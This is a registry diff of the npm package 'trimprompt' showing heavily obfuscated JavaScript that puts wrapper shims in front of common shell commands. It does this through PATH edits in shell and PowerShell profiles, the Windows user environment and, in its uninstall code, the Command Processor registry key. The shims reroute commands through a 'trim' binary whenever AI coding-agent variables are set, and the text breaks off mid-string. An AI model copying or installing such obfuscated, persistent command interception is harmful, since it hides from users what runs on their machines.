trimprompt 1.0.37 → 1.0.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +2 -2
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x363b86=a0_0x549d;(function(_0x57856f,_0x31c38f){const _0x1b358a=a0_0x549d,_0x246393=_0x57856f();while(!![]){try{const _0x49ce2c=-parseInt(_0x1b358a(0x1db))/0x1*(parseInt(_0x1b358a(0x1d2))/0x2)+parseInt(_0x1b358a(0x23a))/0x3*(-parseInt(_0x1b358a(0x22f))/0x4)+parseInt(_0x1b358a(0x227))/0x5+parseInt(_0x1b358a(0x223))/0x6*(parseInt(_0x1b358a(0x1d7))/0x7)+-parseInt(_0x1b358a(0x1c2))/0x8*(parseInt(_0x1b358a(0x1fa))/0x9)+parseInt(_0x1b358a(0x203))/0xa+parseInt(_0x1b358a(0x1d0))/0xb;if(_0x49ce2c===_0x31c38f)break;else _0x246393['push'](_0x246393['shift']());}catch(_0xac4636){_0x246393['push'](_0x246393['shift']());}}}(a0_0x2763,0xb5e7f));var __createBinding=this&&this[a0_0x363b86(0x205)]||(Object[a0_0x363b86(0x1d3)]?function(_0x187c64,_0x2aa082,_0x1bfd8a,_0xdeed5c){const _0x49606e=a0_0x363b86;if(_0xdeed5c===undefined)_0xdeed5c=_0x1bfd8a;var _0x15056a=Object['getOwnPropertyDescriptor'](_0x2aa082,_0x1bfd8a);(!_0x15056a||(_0x49606e(0x221)in _0x15056a?!_0x2aa082[_0x49606e(0x1f6)]:_0x15056a[_0x49606e(0x1c7)]||_0x15056a['configurable']))&&(_0x15056a={'enumerable':!![],'get':function(){return _0x2aa082[_0x1bfd8a];}}),Object[_0x49606e(0x216)](_0x187c64,_0xdeed5c,_0x15056a);}:function(_0x4a8949,_0x371978,_0x59b890,_0x10b5c8){if(_0x10b5c8===undefined)_0x10b5c8=_0x59b890;_0x4a8949[_0x10b5c8]=_0x371978[_0x59b890];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x363b86(0x1d3)]?function(_0x33bfea,_0x1ce246){const _0x17e160=a0_0x363b86;Object[_0x17e160(0x216)](_0x33bfea,_0x17e160(0x21b),{'enumerable':!![],'value':_0x1ce246});}:function(_0x43af70,_0x1130a0){const _0x45a9d1=a0_0x363b86;_0x43af70[_0x45a9d1(0x21b)]=_0x1130a0;}),__importStar=this&&this['__importStar']||(function(){var _0x28f5b0=function(_0x128b36){return _0x28f5b0=Object['getOwnPropertyNames']||function(_0x4a891b){const _0x6f8119=a0_0x549d;var _0xb13611=[];for(var _0xa15f3f in _0x4a891b)if(Object[_0x6f8119(0x224)]['hasOwnProperty'][_0x6f8119(0x1f3)](_0x4a891b,_0xa15f3f))_0xb13611[_0xb13611[_0x6f8119(0x1f4)]]=_0xa15f3f;return _0xb13611;},_0x28f5b0(_0x128b36);};return function(_0x48894f){const _0x4fdaaa=a0_0x549d;if(_0x48894f&&_0x48894f[_0x4fdaaa(0x1f6)])return _0x48894f;var _0x2520a0={};if(_0x48894f!=null){for(var _0x427102=_0x28f5b0(_0x48894f),_0x5c28e7=0x0;_0x5c28e7<_0x427102[_0x4fdaaa(0x1f4)];_0x5c28e7++)if(_0x427102[_0x5c28e7]!==_0x4fdaaa(0x21b))__createBinding(_0x2520a0,_0x48894f,_0x427102[_0x5c28e7]);}return __setModuleDefault(_0x2520a0,_0x48894f),_0x2520a0;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x363b86(0x240)]=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x363b86(0x1d9))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x363b86(0x228),'cat',a0_0x363b86(0x22e),a0_0x363b86(0x22a),'rg','ruff','git','gh',a0_0x363b86(0x23b),a0_0x363b86(0x208),a0_0x363b86(0x236),a0_0x363b86(0x1bf),a0_0x363b86(0x20b),'yarn','kubectl',a0_0x363b86(0x1f9),a0_0x363b86(0x1fe),a0_0x363b86(0x1ea),a0_0x363b86(0x1cc),'go',a0_0x363b86(0x1c4)],PROFILE_MARKER=a0_0x363b86(0x1c9);function a0_0x2763(){const _0x466061=['utf8','npx','$PROFILE.CurrentUserAllHosts','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','\x22\x20(','================================================================================',':$PATH\x22','Failed\x20to\x20uninstall\x20shims:\x20','execSync','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','Failed\x20to\x20install\x20shims:\x20','defineProperty','powershell\x20-NoProfile\x20-Command\x20\x22','trim.cmd','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','default','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','.profile','\x20\x20exit\x20/b\x20%ERRORLEVEL%','.cmd','get','.zshrc','6pfkxnp','prototype','existsSync','homedir','1937015NermAs','tree','\x27,\x20\x27User\x27)','grep','filter','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20',';\x22\x20+\x20$env:PATH\x0a','read','3238804abKUif','.ps1',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','pipe','replace','appendFileSync','\x20%*','npm','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','3rYoZQq','glab','pwsh',')\x20else\x20(','shims','$PROFILE.CurrentUserCurrentHost','installShims','pnpm',':$PATH\x22\x0a','join','3076696XpHceE','rmdirSync','find',';=%\x22','powershell','writable','writeFileSync','TrimPrompt\x20Shims\x20PATH','mkdirSync','includes','pip3','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','\x0aexport\x20PATH=\x22','ignore','23201640Aixogd','-NoProfile','2304158tnKDbZ','create','.bash_profile','@echo\x20off','unlinkSync','6241739IMaeiK','platform','path','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','1ZdCMgi','export\x20PATH=\x22','trim','chmodSync','message','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','map','powershell.exe','trim.ps1','APPDATA','.bashrc','.trimprompt','readFileSync','\x20\x20set\x20\x22PATH=%PATH:','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','pip','split','push','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','Remove-ItemProperty\x20-Path\x20\x27','\x20@args\x20}\x20else\x20{\x20&\x20','\x20\x22$@\x22\x0afi\x0a','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','call','length','some','__esModule','execFileSync','readdirSync','docker','18uRsJtO','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','child_process','\x20&\x20','pytest','-Command',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','env','\x0a#\x20','877210BvfhSZ','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','__createBinding','TrimPrompt\x20successfully\x20installed\x20for\x20','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','cargo','toLowerCase'];a0_0x2763=function(){return _0x466061;};return a0_0x2763();}function getExecSync(){const _0x4d5673=a0_0x363b86;return require(_0x4d5673(0x1fc))[_0x4d5673(0x213)];}function a0_0x549d(_0x28ace2,_0x33d117){const _0x2763dd=a0_0x2763();return a0_0x549d=function(_0x549d54,_0x1010d6){_0x549d54=_0x549d54-0x1bf;let _0x384aea=_0x2763dd[_0x549d54];return _0x384aea;},a0_0x549d(_0x28ace2,_0x33d117);}function getExecFileSync(){const _0x42ea5e=a0_0x363b86;return require('child_process')[_0x42ea5e(0x1f7)];}function ensureProfileContains(_0x1ad2ef,_0x1c2795,_0x41fda6){const _0x219bb7=a0_0x363b86;try{const _0xb1b0=path['dirname'](_0x1ad2ef);!fs[_0x219bb7(0x225)](_0xb1b0)&&fs[_0x219bb7(0x1ca)](_0xb1b0,{'recursive':!![]});if(fs['existsSync'](_0x1ad2ef)){const _0x3ba341=fs['readFileSync'](_0x1ad2ef,_0x219bb7(0x20a));if(_0x3ba341[_0x219bb7(0x1cb)](_0x1c2795))return;fs[_0x219bb7(0x234)](_0x1ad2ef,_0x41fda6,_0x219bb7(0x20a));}else fs['writeFileSync'](_0x1ad2ef,_0x41fda6,_0x219bb7(0x20a));}catch{}}function removeProfileBlock(_0x45011b,_0xc3ae9e){const _0x1596c7=a0_0x363b86;try{if(!fs[_0x1596c7(0x225)](_0x45011b))return;const _0x429e08=fs[_0x1596c7(0x1e7)](_0x45011b,_0x1596c7(0x20a));if(!_0x429e08['includes'](_0xc3ae9e))return;const _0x1a26cd=_0x429e08[_0x1596c7(0x1eb)]('\x0a'),_0x4c109c=[];let _0x26a78e=![];for(let _0x49cb19=0x0;_0x49cb19<_0x1a26cd['length'];_0x49cb19++){if(_0x1a26cd[_0x49cb19]['includes'](_0xc3ae9e)){_0x26a78e=!![];continue;}if(_0x26a78e){_0x26a78e=![];continue;}_0x4c109c[_0x1596c7(0x1ec)](_0x1a26cd[_0x49cb19]);}const _0x344663=_0x4c109c[_0x1596c7(0x1c1)]('\x0a')[_0x1596c7(0x233)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x45011b,_0x344663,_0x1596c7(0x20a));}catch{}}function collectPowerShellProfiles(){const _0x462b53=a0_0x363b86,_0x483fad=getExecSync(),_0x4ffa13=[],_0x195b14=[[_0x462b53(0x1c6),_0x462b53(0x23f)],['powershell',_0x462b53(0x20c)]];try{_0x483fad(_0x462b53(0x204),{'stdio':'ignore'}),_0x195b14[_0x462b53(0x1ec)]([_0x462b53(0x23c),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x22ffc0,_0x9050b2]of _0x195b14){try{const _0x402cd6=_0x483fad(_0x22ffc0+'\x20-NoProfile\x20-Command\x20\x22'+_0x9050b2+'\x22',{'encoding':_0x462b53(0x20a)})[_0x462b53(0x1dd)]();_0x402cd6&&!_0x4ffa13[_0x462b53(0x1f5)](_0x3ad4d3=>_0x3ad4d3[_0x462b53(0x209)]()===_0x402cd6['toLowerCase']())&&_0x4ffa13['push'](_0x402cd6);}catch{}}return _0x4ffa13;}function getBashProfilesWindows(){const _0x6ec49c=a0_0x363b86,_0x5d4b7f=os['homedir']();return[_0x6ec49c(0x1e5),'.bash_profile'][_0x6ec49c(0x1e1)](_0x59851c=>path['join'](_0x5d4b7f,_0x59851c));}function getBroadcastCommand(){const _0x31af5d=a0_0x363b86;return _0x31af5d(0x238);}function installShims(){const _0x3580b5=a0_0x363b86,_0x274810=path[_0x3580b5(0x1c1)](os[_0x3580b5(0x226)](),_0x3580b5(0x1e6),'shims');try{!fs[_0x3580b5(0x225)](_0x274810)&&fs[_0x3580b5(0x1ca)](_0x274810,{'recursive':!![]});const _0x627805=os[_0x3580b5(0x1d8)]()==='win32';for(const _0x3c14e5 of SHIMMED_COMMANDS){if(_0x627805){const _0x2d42ca=path[_0x3580b5(0x1c1)](_0x274810,_0x3c14e5+_0x3580b5(0x220)),_0x3d7f18=process['env'][_0x3580b5(0x1e4)]?path[_0x3580b5(0x1c1)](process[_0x3580b5(0x201)]['APPDATA'],_0x3580b5(0x236)):'',_0x38ad90=_0x3d7f18?path['join'](_0x3d7f18,_0x3580b5(0x218)):_0x3580b5(0x1e0),_0x227863=[_0x3580b5(0x1d5),_0x3580b5(0x21d),_0x3580b5(0x1e8)+_0x274810+';=%\x22','\x20\x20'+_0x3c14e5+_0x3580b5(0x235),_0x3580b5(0x21f),')','if\x20exist\x20\x22'+_0x38ad90+_0x3580b5(0x20f),'\x20\x20trim\x20'+_0x3c14e5+_0x3580b5(0x235),_0x3580b5(0x23d),_0x3580b5(0x1e8)+_0x274810+_0x3580b5(0x1c5),'\x20\x20'+_0x3c14e5+'\x20%*',')']['join']('\x0d\x0a')+'\x0d\x0a';fs[_0x3580b5(0x1c8)](_0x2d42ca,_0x227863,'utf8');const _0x35efbc=path[_0x3580b5(0x1c1)](_0x274810,_0x3c14e5+_0x3580b5(0x230)),_0x2b0e80=_0x3580b5(0x207)+_0x3c14e5+_0x3580b5(0x1ef)+_0x3c14e5+_0x3580b5(0x22c)+_0x3c14e5+'\x20@args\x0a}\x0a';fs[_0x3580b5(0x1c8)](_0x35efbc,_0x2b0e80,_0x3580b5(0x20a));const _0x24f137=path['join'](_0x274810,_0x3c14e5),_0x3596b9=_0x274810[_0x3580b5(0x233)](/\\/g,'/')[_0x3580b5(0x233)](/^([A-Za-z]):/,(_0x31a2c1,_0x40075f)=>'/'+_0x40075f['toLowerCase']()),_0x6c2066=_0x3580b5(0x1ed)+_0x3c14e5+_0x3580b5(0x1e9)+_0x3596b9+_0x3580b5(0x231)+_0x3c14e5+'\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x3596b9+_0x3580b5(0x200)+_0x3c14e5+_0x3580b5(0x1f0);fs['writeFileSync'](_0x24f137,_0x6c2066,_0x3580b5(0x20a));}else{const _0x376a67=path[_0x3580b5(0x1c1)](_0x274810,_0x3c14e5),_0x5ba3f6=_0x3580b5(0x237)+_0x3c14e5+_0x3580b5(0x1fb)+_0x3c14e5+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3580b5(0x1c8)](_0x376a67,_0x5ba3f6,_0x3580b5(0x20a)),fs[_0x3580b5(0x1de)](_0x376a67,'755');}}let _0x4d994e=![],_0x49697a='';if(_0x627805)try{const _0x3c6757=getExecSync(),_0x519798=_0x3580b5(0x202)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x274810+_0x3580b5(0x22d),_0x2d1707=collectPowerShellProfiles();for(const _0x383bf4 of _0x2d1707){ensureProfileContains(_0x383bf4,_0x274810,_0x519798);}try{const _0x3d74d5=_0x274810[_0x3580b5(0x233)](/\\/g,'/')[_0x3580b5(0x233)](/^([A-Za-z]):/,(_0x386d8b,_0x1886f6)=>'/'+_0x1886f6[_0x3580b5(0x209)]()),_0x49baf7=_0x3580b5(0x202)+PROFILE_MARKER+_0x3580b5(0x1ce)+_0x3d74d5+_0x3580b5(0x1c0),_0xe30831=getBashProfilesWindows();let _0x59aa97=![];for(const _0x2bfec1 of _0xe30831){fs[_0x3580b5(0x225)](_0x2bfec1)&&(ensureProfileContains(_0x2bfec1,_0x3d74d5,_0x49baf7),_0x59aa97=!![]);}!_0x59aa97&&ensureProfileContains(_0xe30831[0x0],_0x3d74d5,_0x49baf7);}catch{}const _0x55bbfb=_0x3580b5(0x214),_0x5d2943=_0x3c6757(_0x3580b5(0x217)+_0x55bbfb+'\x22',{'encoding':_0x3580b5(0x20a),'stdio':[_0x3580b5(0x232),_0x3580b5(0x232),_0x3580b5(0x1cf)]})[_0x3580b5(0x1dd)]();if(!_0x5d2943[_0x3580b5(0x1cb)](_0x274810)){const _0x25d902=_0x274810+';'+_0x5d2943,_0x54072b=_0x25d902['replace'](/'/g,'\x27\x27'),_0xbe7a9e=_0x3580b5(0x20d)+_0x54072b+_0x3580b5(0x229);_0x3c6757(_0x3580b5(0x217)+_0xbe7a9e+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3580b5(0x1cf)});}const _0x3823dc=path['join'](process[_0x3580b5(0x201)][_0x3580b5(0x1e4)]||'',_0x3580b5(0x236),_0x3580b5(0x1e3));if(fs[_0x3580b5(0x225)](_0x3823dc))try{fs[_0x3580b5(0x1d6)](_0x3823dc);}catch{}_0x4d994e=!![];}catch(_0x55d8b8){_0x49697a=_0x3580b5(0x21a)+_0x274810;}else try{const _0x5d26e8=_0x3580b5(0x1dc)+_0x274810+_0x3580b5(0x1c0),_0x1b5ce4=os['homedir'](),_0x2320ca=[_0x3580b5(0x1e5),_0x3580b5(0x222),'.bash_profile',_0x3580b5(0x21e)];let _0x3fc8d1=![];for(const _0x5a4a0c of _0x2320ca){const _0x7ff8b0=path[_0x3580b5(0x1c1)](_0x1b5ce4,_0x5a4a0c);fs[_0x3580b5(0x225)](_0x7ff8b0)&&(ensureProfileContains(_0x7ff8b0,_0x274810,_0x3580b5(0x202)+PROFILE_MARKER+'\x0a'+_0x5d26e8),_0x3fc8d1=!![]);}if(!_0x3fc8d1){const _0x3911d5=path['join'](_0x1b5ce4,'.bashrc');ensureProfileContains(_0x3911d5,_0x274810,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x5d26e8);}_0x4d994e=!![];}catch(_0x1b9881){_0x49697a='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x274810+_0x3580b5(0x211);}const _0xcbb783=[_0x3580b5(0x210),_0x3580b5(0x1f2),'================================================================================',_0x3580b5(0x219),_0x3580b5(0x1f1),_0x3580b5(0x210)]['join']('\x0a'),_0x5338d4=_0x4d994e?_0xcbb783:_0x3580b5(0x206)+SHIMMED_COMMANDS[_0x3580b5(0x1f4)]+_0x3580b5(0x239)+_0x49697a;return{'success':!![],'pathDir':_0x274810,'message':_0x5338d4};}catch(_0xf202dc){return{'success':![],'pathDir':_0x274810,'message':_0x3580b5(0x215)+_0xf202dc[_0x3580b5(0x1df)]};}}function uninstallShims(){const _0x1de036=a0_0x363b86,_0x58ce2b=path[_0x1de036(0x1c1)](os['homedir'](),_0x1de036(0x1e6),_0x1de036(0x23e)),_0x150b02=os[_0x1de036(0x1d8)]()==='win32';try{if(_0x150b02){const _0x3684f2=getExecSync();try{const _0x442ec9=getExecFileSync(),_0x2abea3=_0x1de036(0x21c),_0xe81d=_0x1de036(0x20e)+_0x2abea3+_0x1de036(0x1cd),_0xad3a2=_0x442ec9('powershell.exe',[_0x1de036(0x1d1),_0x1de036(0x1ff),_0xe81d],{'encoding':_0x1de036(0x20a),'stdio':[_0x1de036(0x232),_0x1de036(0x232),_0x1de036(0x1cf)]})[_0x1de036(0x1dd)]();if(_0xad3a2[_0x1de036(0x1cb)](_0x58ce2b)){const _0x5dba64=_0xad3a2[_0x1de036(0x1eb)](_0x1de036(0x1fd))[_0x1de036(0x22b)](_0x4664d1=>!_0x4664d1['includes'](_0x58ce2b));if(_0x5dba64[_0x1de036(0x1f4)]===0x0){const _0x8e8f92=_0x1de036(0x1ee)+_0x2abea3+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue';_0x442ec9(_0x1de036(0x1e2),['-NoProfile','-Command',_0x8e8f92],{'stdio':_0x1de036(0x1cf)});}else{const _0x536861=_0x5dba64[_0x1de036(0x1c1)](_0x1de036(0x1fd)),_0x56dea1='Set-ItemProperty\x20-Path\x20\x27'+_0x2abea3+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x536861+'\x27';_0x442ec9(_0x1de036(0x1e2),[_0x1de036(0x1d1),_0x1de036(0x1ff),_0x56dea1],{'stdio':_0x1de036(0x1cf)});}}}catch{}try{const _0x410234=collectPowerShellProfiles();for(const _0x44d40e of _0x410234){removeProfileBlock(_0x44d40e,PROFILE_MARKER);}}catch{}try{for(const _0x312d7e of getBashProfilesWindows()){removeProfileBlock(_0x312d7e,PROFILE_MARKER);}}catch{}try{const _0x179e5e=_0x1de036(0x214),_0x1dd625=_0x3684f2(_0x1de036(0x217)+_0x179e5e+'\x22',{'encoding':_0x1de036(0x20a),'stdio':[_0x1de036(0x232),'pipe',_0x1de036(0x1cf)]})['trim']();if(_0x1dd625[_0x1de036(0x1cb)](_0x58ce2b)){const _0x566b91=_0x1dd625[_0x1de036(0x1eb)](';')['filter'](_0x5e3533=>_0x5e3533[_0x1de036(0x1dd)]()[_0x1de036(0x209)]()!==_0x58ce2b[_0x1de036(0x209)]())[_0x1de036(0x1c1)](';'),_0x2ec087=_0x566b91[_0x1de036(0x233)](/'/g,'\x27\x27'),_0x1a22be='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2ec087+_0x1de036(0x229);_0x3684f2(_0x1de036(0x217)+_0x1a22be+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1de036(0x1cf)});}}catch{}}else{const _0x2db523=os[_0x1de036(0x226)](),_0x3196f7=[_0x1de036(0x1e5),_0x1de036(0x222),_0x1de036(0x1d4),'.profile'];for(const _0x253ba9 of _0x3196f7){removeProfileBlock(path[_0x1de036(0x1c1)](_0x2db523,_0x253ba9),PROFILE_MARKER);}}if(fs[_0x1de036(0x225)](_0x58ce2b)){const _0x4017e2=fs[_0x1de036(0x1f8)](_0x58ce2b);for(const _0x269da2 of _0x4017e2){fs[_0x1de036(0x1d6)](path[_0x1de036(0x1c1)](_0x58ce2b,_0x269da2));}fs[_0x1de036(0x1c3)](_0x58ce2b);}return{'success':!![],'message':_0x1de036(0x1da)};}catch(_0x5f5925){return{'success':![],'message':_0x1de036(0x212)+_0x5f5925[_0x1de036(0x1df)]};}}
|
|
1
|
+
'use strict';const a0_0x51f96e=a0_0x2285;(function(_0x412408,_0x405fba){const _0x54a4cb=a0_0x2285,_0x3d4e25=_0x412408();while(!![]){try{const _0x441a6a=parseInt(_0x54a4cb(0x12c))/0x1+parseInt(_0x54a4cb(0x11a))/0x2+-parseInt(_0x54a4cb(0x10f))/0x3*(parseInt(_0x54a4cb(0x140))/0x4)+parseInt(_0x54a4cb(0xd0))/0x5+parseInt(_0x54a4cb(0xc7))/0x6+parseInt(_0x54a4cb(0xda))/0x7*(-parseInt(_0x54a4cb(0xf2))/0x8)+-parseInt(_0x54a4cb(0xd9))/0x9;if(_0x441a6a===_0x405fba)break;else _0x3d4e25['push'](_0x3d4e25['shift']());}catch(_0x10dda2){_0x3d4e25['push'](_0x3d4e25['shift']());}}}(a0_0x3a5f,0x4b14f));function a0_0x3a5f(){const _0xfb94e6=['trim.cmd','.bashrc','TrimPrompt\x20successfully\x20installed\x20for\x20','powershell.exe','create','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','\x20\x20trim\x20','execFileSync','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','defineProperty','-Command','utf8','APPDATA','win32','tree','.zshrc','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','getOwnPropertyNames','.profile','writable','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','4552HpGbwZ','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','@echo\x20off','prototype','.cmd','execSync','docker','dirname','powershell\x20-NoProfile\x20-Command\x20\x22','\x20&\x20','shims','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20',';=%\x22','\x20@args\x0a}\x0a','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20\x22$@\x22;\x20fi\x0a',')\x20else\x20(','installShims','.bash_profile','writeFileSync','__createBinding','pwsh','pytest','Set-ItemProperty\x20-Path\x20\x27','message','split','includes','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','.trimprompt','3ljAMVY','default',':$PATH\x22','ignore','push','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','\x0a$env:PATH\x20=\x20\x22','readFileSync','hasOwnProperty','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','.ps1','521036IHaxKW','pip3','readdirSync','read','TrimPrompt\x20Shims\x20PATH','child_process','map','================================================================================',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','755','length','find','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','-NoProfile','unlinkSync','appendFileSync','\x20@args\x20}\x20else\x20{\x20&\x20','\x20%*','361385HjXJwq','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','kubectl','mkdirSync','__esModule','replace','\x20\x20set\x20\x22PATH=%PATH:','rmdirSync','homedir','\x22\x20(','chmodSync','path','powershell','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x0a#\x20','git','platf